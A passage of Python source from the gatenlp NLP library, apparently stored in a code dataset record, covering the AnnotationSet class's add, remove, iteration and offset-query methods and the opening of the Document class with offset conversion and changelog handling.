int):\n raise Exception(\n \"Parameter features must not be an int: mixed up with annid?\"\n )\n if self._is_immutable:\n raise Exception(\"Cannot add an annotation to an immutable annotation set\")\n self._check_offsets(start, end)\n if annid and annid in self._annotations:\n raise Exception(\n \"Cannot add annotation with id {}, already in set\".format(annid)\n )\n if annid is None:\n annid = self._next_annid\n self._next_annid = self._next_annid + 1\n ann = Annotation(start, end, anntype, features=features, annid=annid)\n ann._owner_set = self\n if not self._annotations:\n self._annotations = {}\n self._annotations[annid] = ann\n self._add_to_indices(ann)\n if self.changelog is not None:\n entry = {\n \"command\": \"annotation:add\",\n \"set\": self.name,\n \"start\": ann.start,\n \"end\": ann.end,\n \"type\": ann.type,\n \"features\": ann._features.to_dict(),\n \"id\": ann.id,\n }\n self.changelog.append(entry)\n return ann\n\n def add_ann(self, ann, annid: int = None):\n \"\"\"\n Adds a shallow copy of the given ann to the annotation set,\n either with a new annotation id or with the one given.\n If an annotation id that already exists in the set is specified,\n an exception is raised.\n\n Args:\n ann: the annotation to copy into the set\n annid: the annotation id, if not specified the next free one for\n this set is used. Note: the id should normally be left unspecified\n and get assigned automatically.\n\n Returns:\n the added annotation\n \"\"\"\n return self.add(ann.start, ann.end, ann.type, ann.features, annid=annid)\n\n def add_ann(self, ann, annid: int = None):\n \"\"\"\n Adds a shallow copy of the given ann to the annotation set,\n either with a new annotation id or with the one given.\n\n Args:\n ann: the annotation to copy into the set\n annid: the annotation id, if not specified the next free one for\n this set is used. Note: the id should normally left unspecified\n and get assigned automatically.\n\n Returns:\n the added annotation\n \"\"\"\n return self.add(ann.start, ann.end, ann.type, ann.features, annid=annid)\n\n # TODO/NOTE: Iterable[Annotation] with Iterable from collections.abc is not possible here prior to Python 3.9\n # instead, Iterable must come from typing\n def add_anns(self, anns: Iterable[Annotation], annid_from_ann=False):\n \"\"\"\n Adds shallow copies of all annotations from the iterable to the set.\n\n Args:\n anns: an iterable of Annotations\n annid_from_ann: if True, use the same annotation id as in the annotation, this will raise\n an exception if the set already contains and annotation with this id.\n If False assign a new id to the added annotation.\n \"\"\"\n for ann in anns:\n if annid_from_ann:\n self.add(ann.start, ann.end, ann.type, ann.features, annid=ann.id)\n else:\n self.add(ann.start, ann.end, ann.type, ann.features)\n\n def remove(\n self, annoriter: Union[int, Annotation, Iterable], raise_on_notexisting=True\n ) -> None:\n \"\"\"\n Removes the given annotation which is either the id or the annotation\n instance or recursively all annotations in the iterable.\n\n Throws:\n exception if the annotation set is immutable or the annotation\n is not in the set\n\n Args:\n annoriter: either the id (int) or the annotation instance\n (Annotation) or an iterable of\n id or annotation instance or iterable ...\n raise_on_notexisting: (default: True) if false, silently accepts\n non-existing annotations/ids and does nothing.\n Note: if this is True, but the annotation set is immutable,\n an Exception is still raised.\n \"\"\"\n if self._is_immutable:\n raise Exception(\n \"Cannot remove an annotation from an immutable annotation set\"\n )\n if isinstance(annoriter, abc_Iterable):\n for a in annoriter:\n self.remove(a, raise_on_notexisting=raise_on_notexisting)\n return\n annid = None # make pycharm happy\n if isinstance(annoriter, int):\n annid = annoriter\n if annid not in self._annotations:\n raise Exception(\n \"Annotation with id {} not in annotation set, cannot remove\".format(\n annid\n )\n )\n annoriter = self._annotations[annid]\n elif isinstance(annoriter, Annotation):\n annid = annoriter.id\n if annid not in self._annotations:\n raise Exception(\n \"Annotation with id {} does not belong to this set, cannot remove\".format(\n annid\n )\n )\n # NOTE: once the annotation has been removed from the set, it could\n # still be referenced\n # somewhere else and its features could get modified. In order to\n # prevent logging of such changes,\n # the owning set gets cleared for the annotation\n annoriter._owner_set = None\n del self._annotations[annid]\n if self.changelog is not None:\n self.changelog.append(\n {\"command\": \"annotation:remove\", \"set\": self.name, \"id\": annid}\n )\n self._remove_from_indices(annoriter)\n\n def clear(self) -> None:\n \"\"\"\n Removes all annotations from the set.\n \"\"\"\n self._annotations.clear()\n self._index_by_offset = None\n self._index_by_type = None\n if self.changelog is not None:\n self.changelog.append({\"command\": \"annotations:clear\", \"set\": self.name})\n\n def clone_anns(self, memo=None):\n \"\"\"\n Replaces the annotations in this set with deep copies of the\n originals. If this is a detached set,\n then this makes sure that any modifications to the annotations do not\n affect the original annotations\n in the attached set. If this is an attached set, it makes sure that\n all other detached sets cannot affect\n the annotations in this set any more. The owning set of the\n annotations that get cloned is cleared.\n\n Args:\n memo: for internal use by our __deepcopy__ implementation.\n \"\"\"\n tmpdict = {}\n for annid, ann in self._annotations.items():\n newann = copy.deepcopy(ann, memo=memo)\n ann._owner_set = None\n tmpdict[annid] = newann\n for annid, ann in tmpdict.items():\n self._annotations[annid] = ann\n\n def __copy__(self):\n \"\"\"\n NOTE: creating a copy always creates a detached set, but a mutable one.\n \"\"\"\n c = self.detach()\n c._is_immutable = False\n return c\n\n def copy(self):\n \"\"\"\n Returns a shallow copy of the annotation set.\n \"\"\"\n return self.__copy__()\n\n def __deepcopy__(self, memo=None):\n if memo is None:\n memo = {}\n c = self.detach()\n c._is_immutable = False\n c.clone_anns(memo=memo)\n return c\n\n def deepcopy(self):\n \"\"\"\n Returns a deep copy of the annotation set.\n \"\"\"\n return copy.deepcopy(self)\n\n def __iter__(self) -> Iterator:\n \"\"\"\n Yields all the annotations of the set.\n\n Important: using the iterator will always create the index if it\n is not already there!\n For fast iteration use fast_iter() which does not allow sorting or\n offset ranges.\n\n Yields:\n the annotations in document order\n \"\"\"\n # return iter(self._annotations.values())\n return self.iter()\n\n def fast_iter(self) -> Generator:\n \"\"\"\n Yields annotations in insertion order. This is faster then the\n default iterator and does not\n need to index (so if the index does not exist, it will not be built).\n \"\"\"\n if self._annotations:\n for annid, ann in self._annotations.items():\n yield ann\n\n def iter(\n self,\n start_ge: Union[int, None] = None,\n start_lt: Union[None, int] = None,\n with_type: str = None,\n reverse: bool = False,\n ) -> Generator:\n \"\"\"\n Default iterator.\n Yields annotations ordered by increasing starting annotation offset and increasing annotation id,\n otionally limited by the other parameters.\n\n Args:\n start_ge: the offset from where to start including annotations\n start_lt: the last offset to use as the starting offset of an annotation\n with_type: only annotations of this type\n reverse: process in reverse document order\n\n Yields:\n Annotations in default document order, or reverse document order\n\n \"\"\"\n\n if with_type is not None:\n allowedtypes = set()\n if isinstance(type, str):\n allowedtypes.add(with_type)\n else:\n for atype in with_type:\n allowedtypes.add(atype)\n else:\n allowedtypes = None\n if not self._annotations:\n return\n maxoff = None\n if start_ge is not None:\n assert start_ge >= 0\n if start_lt is not None:\n assert start_lt >= 1\n maxoff = start_lt + 1\n if start_lt is not None and start_ge is not None:\n assert start_lt > start_ge\n self._create_index_by_offset()\n for _start, _end, annid in self._index_by_offset.irange(\n minoff=start_ge, maxoff=maxoff, reverse=reverse\n ):\n if (\n allowedtypes is not None\n and self._annotations[annid].type not in allowedtypes\n ):\n continue\n yield self._annotations[annid]\n\n def iter_ol(\n self,\n start_ge: Union[int, None] = None,\n start_lt: Union[None, int] = None,\n with_type: str = None,\n reverse: bool = False,\n ) -> Generator:\n \"\"\"\n Offset-Length Iterator.\n Yields annotations ordered by increasing start offset, by increasing end offset\n and increasing annotoation id, otionally limited\n by the other parameters.\n\n Args:\n start_ge: the offset from where to start including annotations\n start_lt: the last offset to use as the starting offset of an annotation\n with_type: only annotations of this type\n reverse: process in reverse document order\n\n Yields:\n Annotations ordered by offset and length.\n\n \"\"\"\n\n if with_type is not None:\n allowedtypes = set()\n if isinstance(type, str):\n allowedtypes.add(with_type)\n else:\n for atype in with_type:\n allowedtypes.add(atype)\n else:\n allowedtypes = None\n if not self._annotations:\n return\n maxoff = None\n if start_ge is not None:\n assert start_ge >= 0\n if start_lt is not None:\n assert start_lt >= 1\n maxoff = start_lt + 1\n if start_lt is not None and start_ge is not None:\n assert start_lt > start_ge\n self._create_index_by_ol()\n for _start, _end, annid in self._index_by_ol.irange(\n minoff=start_ge, maxoff=maxoff, reverse=reverse\n ):\n if (\n allowedtypes is not None\n and self._annotations[annid].type not in allowedtypes\n ):\n continue\n yield self._annotations[annid]\n\n def reverse_iter(self, **kwargs):\n \"\"\"\n Same as iter, but with the reverse parameter set to true.\n\n Args:\n kwargs: Same as for iter(), with revers=True fixed.\n **kwargs: will get passed on the Annotation.iter\n\n Returns:\n same result as iter()\n\n \"\"\"\n return self.iter(reverse=True, **kwargs)\n\n def get(\n self, annid: Union[int, Annotation], default=None\n ) -> Union[Annotation, None]:\n \"\"\"\n Gets the annotation with the given annotation id or returns the given default.\n\n NOTE: for handling cases where legacy code still expects the add method to return\n an id and not the annotation, this will accept an annotation so the the frequent\n pattern still works:\n\n annid = annset.add(b,e,t).id\n ann = annset.get(annid)\n\n If an annotation is passed the annotation from the set with the id of that annotation is\n returned, if the annotation is from that set, this will return the same object, if it is\n still in the set (or return the default value).\n\n Args:\n annid: the annotation id of the annotation to retrieve.\n default: what to return if an annotation with the given id is not\n found. (Default value = None)\n annid: Union[int:\n Annotation]:\n\n Returns:\n the annotation or the default value.\n\n \"\"\"\n if isinstance(annid, Annotation):\n annid = annid.id\n return self._annotations.get(annid, default)\n\n def first(self):\n \"\"\"\n Return the first (or only) annotation in the set by offset.\n\n Returns:\n first annotation\n\n \"\"\"\n sz = len(self._annotations)\n if sz == 0:\n raise Exception(\"Empty set, there is no first annotation\")\n elif sz == 1:\n return next(iter(self._annotations.values()))\n self._create_index_by_offset()\n _, _, annid = next(self._index_by_offset.irange(reverse=False))\n return self._annotations[annid]\n\n def last(self):\n \"\"\"\n Return the last (or only) annotation by offset.\n\n Returns:\n last annotation\n\n \"\"\"\n sz = len(self._annotations)\n if sz == 0:\n raise Exception(\"Empty set, there is no last annotation\")\n elif sz == 1:\n return next(iter(self._annotations.values()))\n self._create_index_by_offset()\n _, _, annid = next(self._index_by_offset.irange(reverse=True))\n return self._annotations[annid]\n\n def for_idx(self, idx, default=None):\n \"\"\"\n Return the annotation corresponding to the index idx in the set.\n This returns the\n annotation stored at the index, as added to the set. The order usually\n depends on the insertion time.\n If no annotation with the given index is specified, the value\n specified for `default` is returned.\n\n Args:\n idx: index of the annotation in the set\n default: default value to return if now annotation with the given index exists\n\n Returns:\n the annotation with the given index or the default value\n \"\"\"\n # TODO: we could make this more memory efficient (but slower) by\n # iterating over values until getting idxth\n tmplist = list(self._annotations.values())\n if idx < len(tmplist):\n return tmplist[idx]\n else:\n return default\n\n def __getitem__(self, annid):\n \"\"\"\n Gets the annotation with the given annotation id or throws an exception.\n\n Args:\n annid: the annotation id\n\n Returns:\n annotation\n \"\"\"\n return self._annotations[annid]\n\n def with_type(self, *anntype: Union[str, Iterable], non_overlapping: bool = False):\n \"\"\"\n Gets annotations of the specified type(s).\n Creates the type index if necessary.\n\n Args:\n anntype: one or more types or type lists. The union of all types\n specified that way is used to filter the annotations. If no type\n is specified, an empty detached set is returned.\n\n non_overlapping: if True, only return annotations of any of the\n given types which do not overlap with other annotations. If\n there are several annotations that start at\n the same offset, use the type that comes first in the\n parameters, if there are more than one of that type, use the\n one that would come first in the usual sort order.\n\n Returns:\n a detached immutable annotation set with the matching annotations.\n \"\"\"\n atypes = []\n for atype in anntype:\n if isinstance(atype, str):\n atypes.append(atype)\n else:\n for t in atype:\n atypes.append(t)\n if not atypes:\n return self.detach(restrict_to=[])\n self._create_index_by_type()\n annids = set()\n for t in atypes:\n idxs = self._index_by_type.get(t)\n if idxs:\n annids.update(idxs)\n if non_overlapping:\n # need to get annotations grouped by start offset and sorted according to\n # what the Annotation class defines\n allanns = sorted(annids, key=lambda x: self._annotations[x])\n allanns = [self._annotations[x] for x in allanns]\n allannsgrouped = []\n curstart = None\n curset = None\n for ann in allanns:\n if curstart is None:\n curset = [ann]\n curstart = ann.start\n elif curstart == ann.start:\n curset.append(ann)\n else:\n allannsgrouped.append(curset)\n curset = [ann]\n curstart = ann.start\n if curset:\n allannsgrouped.append(curset)\n retanns = []\n # now go through all the grouped annoations and select the top priority one\n # then skip to the next group that does not overlap with the one we just selected\n typepriority = dict()\n for i, atype in enumerate(atypes):\n typepriority[atype] = len(atypes) - i\n curminoffset = 0\n for group in allannsgrouped:\n # instead of sorting, go through the group and find the top priority one\n topann = None\n if len(group) == 1:\n if group[0].start >= curminoffset:\n topann = group[0]\n elif len(group) == 0:\n raise Exception(\"We should never get a 0 size group here!\")\n else:\n for i, ann in enumerate(group):\n if ann.start >= curminoffset:\n topann = ann\n break\n for ann in group[i + 1:]:\n if ann.start < curminoffset:\n continue\n if typepriority[ann.type] > typepriority[topann.type]:\n topann = ann\n elif typepriority[ann.type] == typepriority[topann.type]:\n if ann.end > topann.end:\n topann = ann\n elif ann.end == topann.end:\n if ann.id > topann.id:\n topann = ann\n if topann is not None:\n retanns.append(topann)\n curminoffset = topann.end\n annids = [ann.id for ann in retanns]\n return self.detach(restrict_to=annids)\n\n def by_offset(self):\n \"\"\"\n Yields lists of annotations which start at the same offset.\n \"\"\"\n self._create_index_by_offset()\n lastoff = -1\n curlist = []\n for ann in self.iter():\n if ann.start != lastoff:\n if lastoff != -1:\n yield curlist\n lastoff = ann.start\n curlist = [ann]\n else:\n curlist.append(ann)\n if lastoff != -1:\n yield curlist\n\n def by_span(self):\n \"\"\"\n Yields list of annotations with identical spans. Note: first needs\n to sort all annotations!\n \"\"\"\n self._create_index_by_offset()\n lastsoff = -1\n lasteoff = -1\n curlist = []\n for ann in self.iter_ol():\n if ann.start != lastsoff or ann.end != lasteoff:\n if lastsoff != -1:\n yield curlist\n lastsoff = ann.start\n lasteoff = ann.end\n curlist = [ann]\n else:\n curlist.append(ann)\n if lastsoff != -1:\n yield curlist\n\n @property\n def type_names(self) -> KeysView[str]:\n \"\"\"\n Gets the names of all types in this set. Creates the type index\n if necessary.\n \"\"\"\n self._create_index_by_type()\n return self._index_by_type.keys()\n\n @support_annotation_or_set\n def startingat(\n self, start: int, _ignored: Any = None, annid=None, include_self=False\n ):\n \"\"\"\n Gets all annotations starting at the given offset (empty if none) and\n returns them in a detached annotation set.\n\n Note: this can be called with an annotation or annotation set instead\n of the start offset. If called with an annotation, this annotation is\n not included in the result set if `include_self` is `False`\n\n Args:\n start: the offset where annotations should start\n _ignored: dummy parameter to allow the use of annotations and\n annotation sets\n annid: dummy parameter to allow the use of annotations and\n annotation sets\n include_self: should annotation passed be included in the result\n\n Returns:\n detached annotation set of matching annotations\n \"\"\"\n self._create_index_by_offset()\n intvs = self._index_by_offset.starting_at(start)\n if not include_self and annid is not None:\n ignore = annid\n else:\n ignore = None\n return self._restrict_intvs(intvs, ignore=ignore)\n\n @support_annotation_or_set\n def start_min_ge(\n self, offset: int, _ignored: Any = None, annid=None, include_self=False\n ):\n \"\"\"Gets all annotations starting at the first possible offset\n at or after the given offset and returns them in an immutable\n annotation set.\n\n Args:\n offset: The offset\n _ignored: dummy parameter to allow the use of annotations and\n annotation sets\n annid: annotation id\n include_self: should annotation passed be included in the result\n\n Returns:\n annotation set of matching annotations\n\n \"\"\"\n self._create_index_by_offset()\n intvs = self._index_by_offset.starting_from(offset)\n # now select only those first ones which all have the same offset\n if not include_self and annid is not None:\n ignore = annid\n else:\n ignore = None\n retids = set()\n startoff = None\n for intv in intvs:\n if startoff is None:\n startoff = intv[0]\n if ignore is not None:\n if ignore != intv[2]:\n retids.add(intv[2])\n else:\n retids.add(intv[2])\n elif startoff == intv[0]:\n if ignore is not None:\n if ignore != intv[2]:\n retids.add(intv[2])\n else:\n retids.add(intv[2])\n else:\n break\n return self.detach(restrict_to=retids)\n\n @support_annotation_or_set\n def start_ge(self, start: int, _ignored: Any = None, annid=None,\n include_self=False):\n \"\"\"\n Return the annotations that start at or after the given start offset.\n\n Args:\n start: Start offset\n _ignored: dummy parameter to allow the use of annotations and\n annotation sets\n annid: annotation id\n include_self: should annotation passed be included in the result\n\n Returns:\n an immutable annotation set of the matching annotations\n\n \"\"\"\n self._create_index_by_offset()\n intvs = self._index_by_offset.starting_from(start)\n if not include_self and annid is not None:\n ignore = annid\n else:\n ignore = None\n return self._restrict_intvs(intvs, ignore=ignore)\n\n @support_annotation_or_set\n def start_lt(self, offset: int, _ignored: Any = None, _annid=None):\n \"\"\"\n Returns the annotations that start before the given offset\n (or annotation). This also accepts an annotation or set.\n\n Args:\n offset: offset before which the annotations should start\n _ignored: dummy parameter to allow the use of annotations and\n annotation sets\n _annid: annotation id\n\n Returns:\n an immutable annotation set of the matching annotations\n\n \"\"\"\n self._create_index_by_offset()\n intvs = self._index_by_offset.starting_before(offset)\n return self._restrict_intvs(intvs)\n\n @support_annotation_or_set\n def overlapping(self, start: int, end: int, annid=None, include_self=False):\n \"\"\"\n Gets annotations overlapping with the given span. Instead of the\n start and end offsets,\n also accepts an annotation or annotation set.\n\n For each annotation ann in the result set, ann.overlapping(span)\n is True\n\n Args:\n start: start offset of the span\n end: end offset of the span\n annid: the annotation id of the annotation representing the span.\n (Default value = None)\n include_self: if True and the annotation id for the span is given,\n do not include that annotation in the result set.\n (Default value = False)\n\n Returns:\n an immutable annotation set with the matching annotations\n \"\"\"\n self._create_index_by_offset()\n intvs = self._index_by_offset.overlapping(start, end)\n if not include_self and annid is not None:\n ignore = annid\n else:\n ignore = None\n return self._restrict_intvs(intvs, ignore=ignore)\n\n @support_annotation_or_set\n def covering(self, start: int, end: int, annid=None, include_self=False):\n \"\"\"\n Gets the annotations which contain the given offset range\n (or annotation/annotation set), i.e. annotations such that the given\n offset range is within the annotation.\n\n For each annotation ann in the result set, ann.covering(span) is True.\n\n Args:\n start: the start offset of the span\n end: the end offset of the span\n annid: the annotation id of the annotation representing the span.\n (Default value = None)\n include_self: if True and the annotation id for the span is given,\n do not include that\n annotation in the result set. (Default value = False)\n\n Returns:\n an immutable annotation set with the matching annotations, if any\n \"\"\"\n self._create_index_by_offset()\n intvs = self._index_by_offset.covering(start, end)\n if not include_self and annid is not None:\n ignore = annid\n else:\n ignore = None\n return self._restrict_intvs(intvs, ignore=ignore)\n\n @support_annotation_or_set\n def within(self, start: int, end: int, annid=None, include_self=False):\n \"\"\"\n Gets annotations that fall completely within the given offset range,\n i.e. annotations such that the offset range is covering each of the\n annotation.\n\n For each annotation ann in the result set, ann.within(span) is True.\n\n Args:\n start: start offset of the range\n end: end offset of the range\n annid: the annotation id of the annotation representing the span.\n (Default value = None)\n include_self: if True and the annotation id for the span is given,\n do not include that\n annotation in the result set. (Default value = False)\n\n Returns:\n an immutable annotation set with the matching annotations\n \"\"\"\n if start > end:\n raise Exception(\"Invalid offset range: {},{}\".format(start, end))\n else:\n self._create_index_by_offset()\n intvs = self._index_by_offset.within(start, end)\n if not include_self and annid is not None:\n ignore = annid\n else:\n ignore = None\n return self._restrict_intvs(intvs, ignore=ignore)\n\n @support_annotation_or_set\n def coextensive(self, start: int, end: int, annid=None, include_self=False):\n \"\"\"\n Returns a detached annotation set with all annotations that start and\n end at the given offsets.\n\n For each annotation ann in the result set, ann.coextensive(span) is True.\n\n Args:\n start: start offset of the span\n end: end offset of the span\n annid: the annotation id of the annotation representing the span.\n (Default value = None)\n include_self: if True and the annotation id for the span is given,\n do not include that annotation in the result set.\n\n Returns:\n annotation set with all annotations that have the same start\n and end offsets.\n \"\"\"\n self._create_index_by_offset()\n intvs = self._index_by_offset.at(start, end)\n if not include_self and annid is not None:\n ignore = annid\n else:\n ignore = None\n return self._restrict_intvs(intvs, ignore=ignore)\n\n @support_annotation_or_set\n def before(\n self, start: int, end: int, annid=None, include_self=False, immediately=False\n ):\n \"\"\"\n Returns a detached annotation set with all annotations that end\n before the given offsets.\n\n For each annotation ann in the result set, ann.isbefore(span) is True.\n\n Args:\n start: start offset of the span\n end: end offset of the span\n annid: the annotation id of the annotation representing the span.\n (Default value = None)\n include_self: if True and the annotation id for the span is given,\n do not include that annotation in the result set.\n immediately: if True, the end offset of the annotations return\n must coincide with the start offset of the span (default=False)\n\n Returns:\n annotation set with all annotations that end before the given span\n \"\"\"\n self._create_index_by_offset()\n if immediately:\n intvs = self._index_by_offset.ending_at(start)\n else:\n intvs = self._index_by_offset.ending_to(start)\n # we need to filter self if self is zero-length!\n if not include_self and annid is not None:\n ignore = annid\n else:\n ignore = None\n return self._restrict_intvs(intvs, ignore=ignore)\n\n @support_annotation_or_set\n def after(\n self, start: int, end: int, annid=None, include_self=False, immediately=False\n ):\n \"\"\"\n Returns a detached annotation set with all annotations that start\n after the given span.\n\n For each annotation ann in the result set, ann.isafter(span) is True.\n\n Args:\n start: start offset of the span\n end: end offset of the span\n annid: the annotation id of the annotation representing the span.\n (Default value = None)\n include_self: if True and the annotation id for the span is given,\n do not include that annotation in the result set.\n immediately: if True, the start offset of the annotations\n returned must coincide with the\n end offset of the span (default=False)\n\n Returns:\n annotation set with all annotations that start after the given span\n \"\"\"\n self._create_index_by_offset()\n if immediately:\n intvs = self._index_by_offset.starting_at(end)\n else:\n intvs = self._index_by_offset.starting_from(end)\n # we need to filter self if self is zero-length!\n if not include_self and annid is not None:\n ignore = annid\n else:\n ignore = None\n return self._restrict_intvs(intvs, ignore=ignore)\n\n @property\n def span(self) -> Span:\n \"\"\"\n Returns a tuple with the start and end offset the corresponds to the\n smallest start offset of any annotation\n and the largest end offset of any annotation.\n (Builds the offset index)\n \"\"\"\n if len(self._annotations) == 0:\n return Span(0, 0)\n self._create_index_by_offset()\n return Span(self._index_by_offset.min_start(), self._index_by_offset.max_end())\n\n def __contains__(self, annorannid: Union[int, Annotation]) -> bool:\n \"\"\"\n Provides 'annotation in annotation_set' functionality\n\n Args:\n :param annorannid: the annotation instance or annotation id to check\n\n Returns:\n `True` if the annotation exists in the set, `False` otherwise\n \"\"\"\n if isinstance(annorannid, Annotation):\n return annorannid.id in self._annotations\n return (\n annorannid in self._annotations\n ) # On the off chance someone passed an ID in directly\n\n contains = __contains__\n\n def __repr__(self) -> str:\n \"\"\"\n Returns the string representation of the set.\n \"\"\"\n return \"AnnotationSet({})\".format(repr(list(self.iter())))\n\n def to_dict(self, anntypes=None, **kwargs):\n \"\"\"\n Convert an annotation set to its dict representation.\n\n Args:\n anntypes: if not None, an iterable of annotation types to include\n **kwargs: passed on to the dict creation of contained annotations.\n\n Returns:\n the dict representation of the annotation set.\n \"\"\"\n if anntypes is not None:\n anntypesset = set(anntypes)\n anns_list = list(\n val.to_dict(**kwargs)\n for val in self._annotations.values()\n if val.type in anntypesset\n )\n else:\n anns_list = list(\n val.to_dict(**kwargs) for val in self._annotations.values()\n )\n return {\n # NOTE: Changelog is not getting added as it is stored in the document part!\n \"name\": self.name,\n \"annotations\": anns_list,\n \"next_annid\": self._next_annid,\n }\n\n @staticmethod\n def from_dict(dictrepr, owner_doc=None, **kwargs):\n \"\"\"\n Create an AnnotationSet from its dict representation and optionally\n set the owning document.\n\n Args:\n dictrepr: the dict representation of the annotation set\n owner_doc: the owning document\n **kwargs: passed on to the creation of annotations\n\n Returns:\n the annotation set\n \"\"\"\n annset = AnnotationSet(dictrepr.get(\"name\"), owner_doc=owner_doc)\n annset._next_annid = dictrepr.get(\"next_annid\")\n if dictrepr.get(\"annotations\"):\n annset._annotations = dict(\n (int(a[\"id\"]), Annotation.from_dict(a, owner_set=annset, **kwargs))\n for a in dictrepr.get(\"annotations\")\n )\n else:\n annset._annotations = {}\n return annset\n\n @staticmethod\n def from_anns(anns, deep_copy=False, **kwargs):\n \"\"\"\n Create a detached AnnotationSet from an iterable of annotations.\n\n Args:\n anns: an iterable of annotations\n deep_copy: if the annotations should get added as copies\n (default) or deep copies.\n\n Returns:\n the annotation set\n \"\"\"\n annset = AnnotationSet(name=\"\", owner_doc=None)\n annset._annotations = dict()\n maxid = 0\n for ann in anns:\n if deep_copy:\n addann = ann.deepcopy()\n else:\n addann = ann.copy()\n annset._annotations[addann.id] = addann\n if addann.id > maxid:\n maxid = addann.id\n annset._next_annid = maxid\n annset._is_immutable = True\n\n return annset\n" }, { "alpha_fraction": 0.5816118121147156, "alphanum_fraction": 0.5817726254463196, "avg_line_length": 38.48910903930664, "blob_id": "b8d49b96d08349ce6ad04a640e4625ac79eda71a", "content_id": "bb41564ad1ac698bcb43c74914bf633524317b1d", "detected_licenses": [ "Python-2.0", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 43517, "license_type": "permissive", "max_line_length": 111, "num_lines": 1102, "path": "/gatenlp/document.py", "repo_name": "davidwilby/python-gatenlp", "src_encoding": "UTF-8", "text": "\"\"\"\nModule that implements the Document class for representing gatenlp documents with\nfeatures and annotation sets.\n\"\"\"\n\nfrom typing import KeysView, Callable, Union, List\nimport logging\nimport importlib\nimport copy as lib_copy\nfrom gatenlp.annotation_set import AnnotationSet\nfrom gatenlp.annotation import Annotation\nfrom gatenlp.offsetmapper import OffsetMapper, OFFSET_TYPE_PYTHON, OFFSET_TYPE_JAVA\nfrom gatenlp.features import Features\nfrom gatenlp.utils import in_notebook, in_colab\nfrom gatenlp.changelog import ChangeLog\n\nfrom gatenlp.changelog_consts import (\n ACTION_ADD_ANN,\n ACTION_ADD_ANNSET,\n ACTION_CLEAR_ANNS,\n ADDANN_UPDATE_FEATURES,\n ACTION_CLEAR_ANN_FEATURES,\n ACTION_CLEAR_DOC_FEATURES,\n ACTION_DEL_ANN,\n ACTION_DEL_ANN_FEATURE,\n ACTION_DEL_DOC_FEATURE,\n ACTION_SET_ANN_FEATURE,\n ACTION_SET_DOC_FEATURE,\n ADDANN_ADD_NEW_FEATURES,\n ADDANN_ADD_WITH_NEW_ID,\n ADDANN_IGNORE,\n ADDANN_REPLACE_ANNOTATION,\n ADDANN_REPLACE_FEATURES,\n)\n\n\nlogging.basicConfig()\nlogger = logging.getLogger(__name__)\nlogger.setLevel(logging.INFO)\n\n\nclass Document:\n \"\"\"\n Represent a GATE document. This is different from the original Java GATE representation in\n several ways:\n\n * the text is not mutable and can only be set at creation time, so there is no \"edit\" method\n\n * as a feature bearer, all the methods to set, get and manipulate features are part of this\n class, there is\n no separate \"FeatureMap\" to store them\n\n * does not support listener callbacks\n * there is no separate abstraction for \"content\", the only content possible is text which\n is a unicode string that can be acessed with the \"text()\" method\n * Spans of text can be directly accessed using doc[from:to]\n * Features may only have string keys and values which can be json-serialised\n * Annotation offsets by default are number of Unicde code points, this is different from Java\n where the offsets are UTF-16 Unicode code units\n * Offsets of all annotations can be changed from/to Java (from python index of unicode\n codepoint to Java index of UTF-16 code unit and back)\n * No part of the document has to be present, not even the text (this allows saving just\n the annotations separately from the text)\n * Once the text has been set, it is immutable (no support to edit text and change annotation\n offsets accordingly)\n\n Args:\n text: the text of the document. The text can be None to indicate that no initial text\n should be set. Once the text has been set for a document, it is immutable and cannot\n be changed.\n features: the initial document features to set, a sequence of key/value tuples\n changelog: a ChangeLog instance to use to log changes.\n \"\"\"\n\n def __init__(self, text: str = None, features=None, changelog: ChangeLog = None):\n if text is not None:\n assert isinstance(text, str)\n if changelog is not None:\n assert isinstance(changelog, ChangeLog)\n self._changelog = changelog\n self._features = Features(features, _change_logger=self._log_feature_change)\n self._annotation_sets = dict()\n self._text = text\n self.offset_type = OFFSET_TYPE_PYTHON\n self._name = \"\"\n\n @property\n def name(self):\n \"\"\" \"\"\"\n return self._name\n\n @name.setter\n def name(self, val):\n \"\"\"\n\n Args:\n val:\n\n Returns:\n\n \"\"\"\n if val is None:\n val = \"\"\n if not isinstance(val, str):\n raise Exception(\"Name must be a string\")\n self._name = val\n if self._changelog is not None:\n ch = {\"command\": \"name:set\"}\n ch[\"name\"] = val\n self._changelog.append(ch)\n\n def _ensure_type_python(self) -> None:\n \"\"\" \"\"\"\n if self.offset_type != OFFSET_TYPE_PYTHON:\n raise Exception(\n \"Document cannot be used if it is not type PYTHON, \"\n + \"use to_type(OFFSET_TYPE_PYTHON) first\"\n )\n\n def _fixup_annotations(self, method: Callable) -> None:\n \"\"\"\n\n Args:\n method: Callable:\n\n Returns:\n\n \"\"\"\n annset_names = self._annotation_sets.keys()\n for annset_name in annset_names:\n annset = self._annotation_sets[annset_name]\n if annset._annotations is not None:\n for ann in annset._annotations.values():\n ann._start = method(ann._start)\n ann._end = method(ann._end)\n\n def to_offset_type(self, offsettype: str) -> Union[OffsetMapper, None]:\n \"\"\"Convert all the offsets of all the annotations in this document to the\n required type, either OFFSET_TYPE_JAVA or OFFSET_TYPE_PYTHON. If the offsets\n are already of that type, this does nothing.\n\n NOTE: if the document has a ChangeLog, it is NOT also converted!\n\n The method returns the offset mapper if anything actually was converted,\n otherwise None.\n\n Args:\n offsettype: either OFFSET_TYPE_JAVA or OFFSET_TYPE_PYTHON\n offsettype: str:\n\n Returns:\n offset mapper or None\n\n \"\"\"\n if offsettype == self.offset_type:\n return None\n if offsettype == OFFSET_TYPE_JAVA and self.offset_type == OFFSET_TYPE_PYTHON:\n # convert from currently python to java\n om = OffsetMapper(self._text)\n self._fixup_annotations(om.convert_to_java)\n self.offset_type = OFFSET_TYPE_JAVA\n elif offsettype == OFFSET_TYPE_PYTHON and self.offset_type == OFFSET_TYPE_JAVA:\n # convert from currently java to python\n om = OffsetMapper(self._text)\n self._fixup_annotations(om.convert_to_python)\n self.offset_type = OFFSET_TYPE_PYTHON\n else:\n raise Exception(\"Odd offset type\")\n return om\n\n def apply_changes(self, changes, handle_existing_anns=ADDANN_ADD_WITH_NEW_ID):\n \"\"\"Apply changes from a ChangeLog to this document. `changes` can be a ChangeLog instance,\n a sequence of change objects (dicts) as stored in a ChangeLog instance, or a single\n change object.\n\n The document is modified in-place.\n\n Args:\n changes: one or more changes\n handle_existing_anns: what to do if the change from the changelog tries to\n add an annotation with an annotation id that already exists in the target set.\n (Default value = ADDANN_ADD_WITH_NEW_ID)\n\n \"\"\"\n if isinstance(changes, dict):\n changes = [changes]\n elif isinstance(changes, ChangeLog):\n changes = changes.changes\n for change in changes:\n cmd = change.get(\"command\")\n fname = 